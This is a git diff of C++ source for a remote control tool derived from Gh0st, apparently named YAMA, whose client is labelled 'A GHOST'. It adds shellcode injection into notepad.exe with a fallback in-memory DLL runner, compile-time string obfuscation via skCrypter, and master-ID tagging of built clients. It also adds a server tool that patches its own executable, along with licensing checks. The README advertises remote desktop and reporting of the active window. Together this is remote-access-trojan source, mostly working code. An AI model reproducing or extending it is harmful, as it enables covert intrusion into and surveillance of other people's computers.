diff --git a/ReadMe.md b/ReadMe.md index 49a2c11..37bf127 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -37,7 +37,8 @@ ![桌面管理](./images/RemoteSet.jpg) 桌面管理即"远程桌面",控制远程机器。可以通过菜单设置远程桌面的参数: -屏幕截图方法支持GDI或DXGI,图像压缩方法支持灰度图像传输、屏幕差异算法和H264压缩。虚拟桌面尚未开发,但也是能支持的。 +屏幕截图方法支持GDI或DXGI,图像压缩方法支持灰度图像传输、屏幕差异算法和H264压缩。 +另外,支持上报活动窗口和检测指定软件。 ![文件管理](./images/FileManage.jpg) @@ -75,9 +76,9 @@ ![PasswordGen](./images/PasswordGen.jpg) -当前对生成服务功能进行了限制,需要取得口令方可操作。给新编译的程序14天试用期,过期之后生成服务端需要申请"序列号"; +当前对生成服务功能进行了限制,需要取得口令方可操作。给新编译的程序14天试用期,过期之后生成服务端需要凭借"序列号"申请口令; 如果要对其他功能乃至整个程序启动授权逻辑,或者屏蔽该授权逻辑,请参考`OnOnlineBuildClient`函数。 -序列号包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改。 +“口令”包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改。生成口令需使用密码。 ## 受控程序 ![主界面](./images/TestRun.jpg) @@ -134,6 +135,14 @@ Release v1.0.8: - Add `HPSocket` libraries which may be used in the future, and add static ffmpeg libraries to build Win64 master; - Implement a memory DLL runner: the `TestRun` program request DLL from master and execute in memory. +**2025.04.30** + +Release v1.0.9: + +- Update client building feature / All in one; The master will only accept the clients built by itself. +- Improve authorization feature. + + # 沟通反馈 QQ:962914132 diff --git a/Releases/v1.0.9.7z b/Releases/v1.0.9.7z new file mode 100644 index 0000000..e37dfc7 Binary files /dev/null and b/Releases/v1.0.9.7z differ diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 4e275df..f26ab89 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -11,7 +11,7 @@ #define CLIENT_PARALLEL_NUM 1 // Զ̵ַ -CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL}; +CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION}; // տͻֻ2ȫֱ: g_SETTINGSg_MyAppg_SETTINGSΪg_MyAppijԱ. // ȫֻһȫֱ: g_MyApp @@ -493,7 +493,7 @@ DWORD WINAPI StartClient(LPVOID lParam) Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance); //׼һ - LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings.ClientType()); + LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings); ClientObject->SendLoginInfo(login); do diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 86dc708..3e8e842 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -6,6 +6,7 @@ #include #include #include +#include "common/skCrypter.h" // by ChatGPT bool IsWindows11() { @@ -44,7 +45,7 @@ std::string getSystemName() } if (IsWindows11()) { vname = "Windows 11"; - printf_s("˵Եİ汾Ϊ:%s\n", vname.c_str()); + Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); return vname; } DWORD dwMajor, dwMinor, dwBuildNumber; @@ -57,13 +58,13 @@ std::string getSystemName() if (dwMajor == 6 && dwMinor == 3) //win 8.1 { vname = "Windows 8.1"; - printf_s("˵Եİ汾Ϊ:%s\n", vname.c_str()); + Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); return vname; } if (dwMajor == 10 && dwMinor == 0) //win 10 { vname = "Windows 10"; - printf_s("˵Եİ汾Ϊ:%s\n", vname.c_str()); + Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); return vname; } //治жWin ServerΪ˻δϵͳĻӣʱ @@ -141,10 +142,10 @@ std::string getSystemName() default: vname = "δ֪ϵͳ"; } - printf_s("˵Եİ汾Ϊ:%s\n", vname.c_str()); + Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); } else - printf_s("汾ȡʧ\n"); + Mprintf("汾ȡʧ\n"); return vname; } @@ -178,7 +179,7 @@ std::string getProcessTime() { return buffer; } -LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType) +LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) { LOGIN_INFOR LoginInfor; LoginInfor.bToken = TOKEN_LOGIN; // Ϊ¼ @@ -194,12 +195,17 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType) BOOL bWebCamIsExist = WebCamIsExist(); - memcpy(LoginInfor.szPCName,szPCName,MAX_PATH); + memcpy(LoginInfor.szPCName,szPCName,sizeof(LoginInfor.szPCName)); LoginInfor.dwSpeed = dwSpeed; LoginInfor.dwCPUMHz = dwCPUMHz; LoginInfor.bWebCamIsExist = bWebCamIsExist; strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str()); - sprintf_s(LoginInfor.szReserved, "%s", GetClientType(nType)); + sprintf_s(LoginInfor.szReserved, "%s", GetClientType(conn.ClientType())); + bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 || + strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0; + std::string masterHash(skCrypt(MASTER_HASH)); + const char* id = isDefault ? masterHash.c_str() : conn.szFlag; + memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16)); return LoginInfor; } diff --git a/client/LoginServer.h b/client/LoginServer.h index 3e7717d..b4c07d0 100644 --- a/client/LoginServer.h +++ b/client/LoginServer.h @@ -5,6 +5,6 @@ #pragma comment(lib,"Vfw32.lib") -LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType); +LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS &conn); DWORD CPUClockMHz(); BOOL WebCamIsExist(); diff --git a/client/Script.rc b/client/Script.rc index 9db81c2..9d1896a 100644 --- a/client/Script.rc +++ b/client/Script.rc @@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav" // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,0,0,8 + FILEVERSION 1,0,0,9 PRODUCTVERSION 1,0,0,1 FILEFLAGSMASK 0x3fL #ifdef _DEBUG @@ -106,7 +106,7 @@ BEGIN BEGIN VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "FileDescription", "A GHOST" - VALUE "FileVersion", "1.0.0.8" + VALUE "FileVersion", "1.0.0.9" VALUE "InternalName", "ServerDll.dll" VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "OriginalFilename", "ServerDll.dll" diff --git a/client/TestRun.rc b/client/TestRun.rc index c07ba82..0834aac 100644 Binary files a/client/TestRun.rc and b/client/TestRun.rc differ diff --git a/client/test.cpp b/client/test.cpp index 933a91c..d4ba469 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -30,9 +30,9 @@ IsExit bExit = NULL; BOOL status = 0; #ifdef _DEBUG -CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL }; +CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC }; #else -CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_MEMDLL }; +CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC }; #endif //Ȩ @@ -275,25 +275,33 @@ int main(int argc, const char *argv[]) status = 0; SetConsoleCtrlHandler(&callback, TRUE); - // Try to inject shell code to `notepad.exe` - // If failed then run memory DLL - ShellcodeInj inj; - int pid = 0; - do{ - if (sizeof(void*) == 4) // Shell code is 64bit - break; - if (!(pid = inj.InjectProcess(nullptr))) { - break; - } - HANDLE hProcess = OpenProcess(SYNCHRONIZE, FALSE, pid); - if (hProcess == NULL) { - break; - } - Mprintf("Inject process [%d] succeed.\n", pid); - DWORD waitResult = WaitForSingleObject(hProcess, INFINITE); - CloseHandle(hProcess); - Mprintf("Process [%d] is finished.\n", pid); - } while (pid); + // Shell code ӱ6543˿ڣע뵽± + if (g_ConnectAddress.iStartup == Startup_InjSC) + { + // Try to inject shell code to `notepad.exe` + // If failed then run memory DLL + ShellcodeInj inj; + int pid = 0; + do { + if (sizeof(void*) == 4) // Shell code is 64bit + break; + if (!(pid = inj.InjectProcess(nullptr))) { + break; + } + HANDLE hProcess = OpenProcess(SYNCHRONIZE, FALSE, pid); + if (hProcess == NULL) { + break; + } + Mprintf("Inject process [%d] succeed.\n", pid); + DWORD waitResult = WaitForSingleObject(hProcess, INFINITE); + CloseHandle(hProcess); + Mprintf("Process [%d] is finished.\n", pid); + } while (pid); + } + + if (g_ConnectAddress.iStartup == Startup_InjSC) { + g_ConnectAddress.iStartup = Startup_MEMDLL; + } do { BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()), @@ -346,7 +354,20 @@ BOOL Run(const char* argv1, int argv2) { Mprintf("Using new file: %s\n", newFile.c_str()); } } - DllRunner* runner = g_ConnectAddress.iType ? (DllRunner*) new MemoryDllRunner : new DefaultDllRunner; + DllRunner* runner = nullptr; + switch (g_ConnectAddress.iStartup) + { + case Startup_DLL: + runner = new DefaultDllRunner; + break; + case Startup_MEMDLL: + runner = new MemoryDllRunner; + break; + default: + ExitProcess(-1); + break; + } + void* hDll = runner->LoadLibraryA(path); typedef void (*TestRun)(char* strHost, int nPort); TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL; diff --git a/common/commands.h b/common/commands.h index 6db63d6..af32e40 100644 --- a/common/commands.h +++ b/common/commands.h @@ -61,6 +61,7 @@ typedef void* LPVOID, * HANDLE; #include #include #include +#include #ifndef _MAX_PATH #define _MAX_PATH 260 @@ -72,6 +73,9 @@ typedef void* LPVOID, * HANDLE; #define FLAG_GHOST FLAG_FINDEN +// سΨһʶ +#define MASTER_HASH "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43" + // Է仯ʱӦøֵԱԱس #define DLL_VERSION __DATE__ // DLL汾 @@ -265,6 +269,59 @@ inline const char* GetClientType(int typ) { } } +inline int compareDates(const std::string& date1, const std::string& date2) { + static const std::unordered_map monthMap = { + {"Jan", 1}, {"Feb", 2}, {"Mar", 3}, {"Apr", 4}, {"May", 5}, {"Jun", 6}, + {"Jul", 7}, {"Aug", 8}, {"Sep", 9}, {"Oct",10}, {"Nov",11}, {"Dec",12} + }; + + auto parse = [&](const std::string& date) -> std::tuple { + int month = monthMap.at(date.substr(0, 3)); + int day = std::stoi(date.substr(4, 2)); + int year = std::stoi(date.substr(7, 4)); + return { year, month, day }; + }; + + try { + auto t1 = parse(date1); + auto t2 = parse(date2); + int y1 = std::get<0>(t1), m1 = std::get<1>(t1), d1 = std::get<2>(t1); + int y2 = std::get<0>(t2), m2 = std::get<1>(t2), d2 = std::get<2>(t2); + + if (y1 != y2) return y1 < y2 ? -1 : 1; + if (m1 != m2) return m1 < m2 ? -1 : 1; + if (d1 != d2) return d1 < d2 ? -1 : 1; + return 0; + } + catch (const std::exception& e) { + std::cerr << "Date parse error: " << e.what() << std::endl; + return -2; // ֵʾ + } +} + +// öֵClientTypeƣֲȫһ£רΪ`TestRun` +// ָ`ServerDll`ʽ +// `TestRun` ֻڼоĿ +enum TestRunType { + Startup_DLL, // DLL + Startup_MEMDLL, // ڴDLL޴ļ + Startup_InjDLL, // Զע DLLעDLL·DLL + Startup_Shellcode, // Shell code ڵǰִshell code + Startup_InjSC, // Զ Shell code עִshell code +}; + +inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize) +{ + for (int i = 0; i < iBufferSize - iKeySize; ++i) + { + if (0 == memcmp(szBuffer + i, Key, iKeySize)) + { + return i; + } + } + return -1; +} + // ӵسϢ typedef struct CONNECT_ADDRESS { @@ -276,7 +333,8 @@ public: bool bEncrypt; char szBuildDate[12]; int iMultiOpen; - char szReserved[134]; // ռλʹṹռ300ֽ + int iStartup; // ʽ + char szReserved[130]; // ռλʹṹռ300ֽ public: void SetType(int typ) { @@ -285,6 +343,12 @@ public: const void* Flag() const { return szFlag; } + CONNECT_ADDRESS ModifyFlag(const char* flag) const { + CONNECT_ADDRESS copy = *this; + memset(copy.szFlag, 0, sizeof(szFlag)); + memcpy(copy.szFlag, flag, strlen(flag)); + return copy; + } int FlagLen() const { return strlen(szFlag); } @@ -344,7 +408,8 @@ typedef struct LOGIN_INFOR char OsVerInfoEx[156]; // 2.汾Ϣ unsigned int dwCPUMHz; // 3.CPUƵ char moduleVersion[24]; // 4.DLLģ汾 - char szPCName[_MAX_PATH]; // 5. + char szPCName[240]; // 5. + char szMasterID[20]; // 5.1 ID int bWebCamIsExist; // 6.Ƿͷ unsigned int dwSpeed; // 7. char szStartTime[20]; // 8.ʱ diff --git a/common/skCrypter.h b/common/skCrypter.h new file mode 100644 index 0000000..5522aad --- /dev/null +++ b/common/skCrypter.h @@ -0,0 +1,163 @@ +#pragma once + +/*____________________________________________________________________________________________________________ + +Original Author: skadro +Github: https://github.com/skadro-official +License: See end of file + +skCrypter + Compile-time, Usermode + Kernelmode, safe and lightweight string crypter library for C++11+ + + *Not removing this part is appreciated* +____________________________________________________________________________________________________________*/ + +#ifdef _KERNEL_MODE + namespace std + { + // STRUCT TEMPLATE remove_reference + template + struct remove_reference { + using type = _Ty; + }; + + template + struct remove_reference<_Ty&> { + using type = _Ty; + }; + + template + struct remove_reference<_Ty&&> { + using type = _Ty; + }; + + template + using remove_reference_t = typename remove_reference<_Ty>::type; + + // STRUCT TEMPLATE remove_const + template + struct remove_const { // remove top-level const qualifier + using type = _Ty; + }; + + template + struct remove_const { + using type = _Ty; + }; + + template + using remove_const_t = typename remove_const<_Ty>::type; + } +#else + #include +#endif + +namespace skc +{ + template + using clean_type = typename std::remove_const_t>; + + template + class skCrypter + { + public: + __forceinline constexpr skCrypter(T* data) + { + crypt(data); + } + + __forceinline T* get() + { + return _storage; + } + + __forceinline int size() // (w)char count + { + return _size; + } + + __forceinline char key() + { + return _key1; + } + + __forceinline T* encrypt() + { + if (!isEncrypted()) + crypt(_storage); + + return _storage; + } + + __forceinline T* decrypt() + { + if (isEncrypted()) + crypt(_storage); + + return _storage; + } + + __forceinline bool isEncrypted() + { + return _storage[_size - 1] != 0; + } + + __forceinline void clear() // set full storage to 0 + { + for (int i = 0; i < _size; i++) + { + _storage[i] = 0; + } + } + + __forceinline operator T* () + { + decrypt(); + + return _storage; + } + + private: + __forceinline constexpr void crypt(T* data) + { + for (int i = 0; i < _size; i++) + { + _storage[i] = data[i] ^ (_key1 + i % (1 + _key2)); + } + } + + T _storage[_size]{}; + }; +} + +#define skCrypt(str) skCrypt_key(str, __TIME__[4], __TIME__[7]) +#define skCrypt_key(str, key1, key2) []() { \ + constexpr static auto crypted = skc::skCrypter \ + >((skc::clean_type*)str); \ + return crypted; }() + +/*________________________________________________________________________________ + +MIT License + +Copyright (c) 2020 skadro + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + +________________________________________________________________________________*/ diff --git a/images/RemoteSet.jpg b/images/RemoteSet.jpg index e1408d7..7fb2d89 100644 Binary files a/images/RemoteSet.jpg and b/images/RemoteSet.jpg differ diff --git a/images/Yama.jpg b/images/Yama.jpg index 871b7fb..5f647c0 100644 Binary files a/images/Yama.jpg and b/images/Yama.jpg differ diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index bd38257..77f068c 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 66b6563..b8838ea 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -24,6 +24,8 @@ #include "CPasswordDlg.h" #include "pwd_gen.h" #include "DateVerify.h" +#include +#include "common/skCrypter.h" #ifdef _DEBUG #define new DEBUG_NEW @@ -198,6 +200,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_WM_HELPINFO() ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare) ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth) + ON_COMMAND(ID_TOOL_GEN_MASTER, &CMy2015RemoteDlg::OnToolGenMaster) END_MESSAGE_MAP() @@ -235,9 +238,15 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam) VOID CMy2015RemoteDlg::CreateSolidMenu() { - HMENU hMenu = LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN)); //˵Դ - ::SetMenu(this->GetSafeHwnd(),hMenu); //Ϊò˵ - ::DrawMenuBar(this->GetSafeHwnd()); //ʾ˵ + m_MainMenu.LoadMenu(IDR_MENU_MAIN); + CMenu* SubMenu = m_MainMenu.GetSubMenu(1); + std::string masterHash(skCrypt(MASTER_HASH)); + if (GetPwdHash() != masterHash) { + SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND); + } + + ::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //Ϊò˵ + ::DrawMenuBar(this->GetSafeHwnd()); //ʾ˵ } VOID CMy2015RemoteDlg::CreatStatusBar() @@ -644,7 +653,12 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) if (!CheckValid()) { KillTimer(nIDEvent); - return OnMainExit(); + CInputDialog dlg(this); + dlg.Init("", "س:"); + dlg.DoModal(); + if (hashSHA256(dlg.m_str.GetString()) != std::string(skCrypt(MASTER_HASH))) + return OnMainExit(); + MessageBox("뼰ʱԵǰسȨ: ڹ߲˵ɿ!", "ʾ", MB_ICONWARNING); } } } @@ -954,9 +968,9 @@ bool CMy2015RemoteDlg::CheckValid() { auto settings = "settings", pwdKey = "Password"; // ֤ CPasswordDlg dlg; - std::string hardwareID = getHardwareID(); - std::string hashedID = hashSHA256(hardwareID); - std::string deviceID = getFixedLengthID(hashedID); + static std::string hardwareID = getHardwareID(); + static std::string hashedID = hashSHA256(hardwareID); + static std::string deviceID = getFixedLengthID(hashedID); CString pwd = THIS_APP->m_iniFile.GetStr(settings, pwdKey, ""); dlg.m_sDeviceID = deviceID.c_str(); @@ -973,7 +987,7 @@ bool CMy2015RemoteDlg::CheckValid() { return false; } std::vector subvector(v.begin() + 2, v.end()); - std::string password = v[0] + " - " + v[1] + ": " + PWD_HASH256; + std::string password = v[0] + " - " + v[1] + ": " + GetPwdHash(); std::string finalKey = deriveKey(password, deviceID); std::string hash256 = joinString(subvector, '-'); std::string fixedKey = getFixedLengthID(finalKey); @@ -981,7 +995,7 @@ bool CMy2015RemoteDlg::CheckValid() { THIS_APP->m_iniFile.SetStr(settings, pwdKey, ""); if (pwd.IsEmpty() || (IDOK != dlg.DoModal() || hash256 != fixedKey)) { if (!dlg.m_sPassword.IsEmpty()) - MessageBox(", ޷ɷ!", "ʾ", MB_ICONWARNING); + MessageBox(", ޷!", "ʾ", MB_ICONWARNING); return false; } } @@ -1002,9 +1016,9 @@ bool CMy2015RemoteDlg::CheckValid() { void CMy2015RemoteDlg::OnOnlineBuildClient() { - // ±ij14ڣ֮ɷҪ"к" + // ±ij14ڣ֮ɷҪ"" // ҪȨ߼ifӵӦطɡ - // кŰȨڷΧȷһһ룻Ȩ߼δ۸! + // ȨڷΧȷһһ룻Ȩ߼δ۸! // ע if θȨ߼. // 2025/04/20 if (!CheckValid()) @@ -1014,6 +1028,7 @@ void CMy2015RemoteDlg::OnOnlineBuildClient() CBuildDlg Dlg; Dlg.m_strIP = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "localIp", ""); int Port = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"); + Dlg.m_strIP = Dlg.m_strIP.IsEmpty() ? "127.0.0.1" : Dlg.m_strIP; Dlg.m_strPort = Port <= 0 ? "6543" : std::to_string(Port).c_str(); Dlg.DoModal(); } @@ -1027,6 +1042,8 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength) { int iItem = m_CList_Online.GetNextSelectedItem(Pos); CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); + if (!ContextObject->bLogin && szBuffer[0] != COMMAND_BYE) + continue; if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->sClientInfo[ONLINELIST_VIDEO] == CString("")) { continue; @@ -1359,6 +1376,11 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) LOGIN_INFOR* LoginInfor = new LOGIN_INFOR; ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0); + auto curID = GetMasterId(); + ContextObject->bLogin = (LoginInfor->szMasterID == curID || strlen(LoginInfor->szMasterID)==0); + if (!ContextObject->bLogin) { + Mprintf("*** Received master '%s' client! ***\n", LoginInfor->szMasterID); + } strIP = inet_ntoa(ClientAddr.sin_addr); // @@ -1368,7 +1390,13 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) strOS = LoginInfor->OsVerInfoEx; //CPU - strCPU.Format("%dMHz", LoginInfor->dwCPUMHz); + if (LoginInfor->dwCPUMHz != -1) + { + strCPU.Format("%dMHz", LoginInfor->dwCPUMHz); + } + else { + strCPU = "Unknown"; + } // strPing.Format("%d", LoginInfor->dwSpeed); @@ -1522,6 +1550,8 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) { for (int i=0, n=m_CList_Online.GetItemCount(); ibLogin) + continue; m_iocpServer->Send(ContextObject, buf, sizeof(buf)); } LeaveCriticalSection(&m_cs); @@ -1762,3 +1792,101 @@ void CMy2015RemoteDlg::OnToolAuth() dlg.DoModal(); } + + +char* ReadCurrentExecutable(size_t& outSize) { + // ȡǰ· + char path[MAX_PATH]; + DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH); + if (len == 0 || len == MAX_PATH) { + return nullptr; + } + + // ļ + std::ifstream file(path, std::ios::binary | std::ios::ate); // ate = ĩβôС + if (!file) { + return nullptr; + } + + // ȡļСڴ + std::streamsize size = file.tellg(); + file.seekg(0, std::ios::beg); + char* buffer = new char[size]; + + // ȡļ buffer + if (!file.read(buffer, size)) { + delete[] buffer; + return nullptr; + } + + outSize = static_cast(size); + return buffer; +} + + +void CMy2015RemoteDlg::OnToolGenMaster() +{ + CInputDialog pass(this); + pass.Init("", "ǰس:"); + if (pass.DoModal() != IDOK || pass.m_str.IsEmpty()) + return; + std::string masterHash(skCrypt(MASTER_HASH)); + if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) { + MessageBox("벻ȷ޷س!", "", MB_ICONWARNING); + return; + } + + CInputDialog dlg(this); + dlg.Init("", "µس:"); + if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) + return; + size_t size = 0; + char* curEXE = ReadCurrentExecutable(size); + if (curEXE == nullptr) { + MessageBox("ȡļʧ! Ժٴγԡ", "", MB_ICONWARNING); + return; + } + std::string pwdHash = hashSHA256(dlg.m_str.GetString()); + int iOffset = MemoryFind(curEXE, masterHash.c_str(), size, masterHash.length()); + if (iOffset == -1) { + MessageBox("ļʧ! Ժٴγԡ", "", MB_ICONWARNING); + SAFE_DELETE_ARRAY(curEXE); + return; + } + memcpy(curEXE + iOffset, pwdHash.c_str(), pwdHash.length()); + CComPtr spDesktop; + HRESULT hr = SHGetDesktopFolder(&spDesktop); + if (FAILED(hr)) { + AfxMessageBox("Explorer δȷʼ! Ժԡ"); + SAFE_DELETE_ARRAY(curEXE); + return; + } + // ʾļضļıļ + CFileDialog fileDlg(FALSE, _T("exe"), "YAMA.exe", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, + _T("EXE Files (*.exe)|*.exe|All Files (*.*)|*.*||"), AfxGetMainWnd()); + int ret = 0; + try { + ret = fileDlg.DoModal(); + } + catch (...) { + AfxMessageBox("ļԻδɹ! Ժԡ"); + SAFE_DELETE_ARRAY(curEXE); + return; + } + if (ret == IDOK) + { + CString name = fileDlg.GetPathName(); + CFile File; + BOOL r = File.Open(name, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite); + if (!r) { + MessageBox("س򴴽ʧ!\r\n" + name, "ʾ", MB_ICONWARNING); + SAFE_DELETE_ARRAY(curEXE); + return; + } + File.Write(curEXE, size); + File.Close(); + + MessageBox("ɳɹ! ļλ:\r\n" + name, "ʾ", MB_ICONINFORMATION); + } + SAFE_DELETE_ARRAY(curEXE); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index d6b2f42..9346fec 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -78,7 +78,7 @@ public: IOCPServer* m_iocpServer; CRITICAL_SECTION m_cs; BOOL isClosed; - + CMenu m_MainMenu; CBitmap m_bmOnline[4]; bool CheckValid(); afx_msg void OnTimer(UINT_PTR nIDEvent); @@ -123,4 +123,5 @@ public: virtual BOOL PreTranslateMessage(MSG* pMsg); afx_msg void OnOnlineShare(); afx_msg void OnToolAuth(); + afx_msg void OnToolGenMaster(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 83b1f16..87d2fae 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -101,12 +101,14 @@ true false $(SolutionDir);%(AdditionalIncludeDirectories) + Default Windows true zlib\zlib.lib;%(AdditionalDependencies) LIBCMT.lib;%(IgnoreSpecificDefaultLibraries) + $(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt) false @@ -128,12 +130,14 @@ true false $(SolutionDir);%(AdditionalIncludeDirectories) + Default Windows true zlib\zlib_x64.lib;%(AdditionalDependencies) LIBCMT.lib;%(IgnoreSpecificDefaultLibraries) + $(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt) false @@ -156,6 +160,7 @@ Size true $(SolutionDir);%(AdditionalIncludeDirectories) + Default Windows @@ -164,6 +169,7 @@ true zlib\zlib.lib;%(AdditionalDependencies) /SAFESEH:NO %(AdditionalOptions) + $(SolutionDir)Bin\$(TargetName)_x86$(TargetExt) false @@ -187,6 +193,7 @@ Size true $(SolutionDir);%(AdditionalIncludeDirectories) + Default Windows @@ -195,6 +202,7 @@ true zlib\zlib_x64.lib /SAFESEH:NO %(AdditionalOptions) + $(SolutionDir)Bin\$(TargetName)_x64$(TargetExt) false @@ -207,8 +215,12 @@ + + + + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.user b/server/2015Remote/2015Remote_vs2015.vcxproj.user new file mode 100644 index 0000000..264bb85 --- /dev/null +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.user @@ -0,0 +1,22 @@ + + + + 2015Remote.rc + + + $(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt) + WindowsLocalDebugger + + + $(SolutionDir)Bin\$(TargetName)_x86$(TargetExt) + WindowsLocalDebugger + + + $(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt) + WindowsLocalDebugger + + + $(SolutionDir)Bin\$(TargetName)_x64$(TargetExt) + WindowsLocalDebugger + + \ No newline at end of file diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 16f931f..6220b5d 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -7,14 +7,51 @@ #include "afxdialogex.h" #include -#define OTHER_ITEM 3 +enum Index +{ + IndexTestRun_DLL, + IndexTestRun_MemDLL, + IndexTestRun_InjSC, + IndexGhost, + IndexServerDll, + OTHER_ITEM +}; // CBuildDlg Ի IMPLEMENT_DYNAMIC(CBuildDlg, CDialog) +std::string GetMasterId(); + int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize); +LPBYTE ReadResource(int resourceId, DWORD &dwSize) { + dwSize = 0; + auto id = resourceId; + HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY"); + if (hResource == NULL) { + return NULL; + } + // ȡԴĴС + dwSize = SizeofResource(NULL, hResource); + + // Դ + HGLOBAL hLoadedResource = LoadResource(NULL, hResource); + 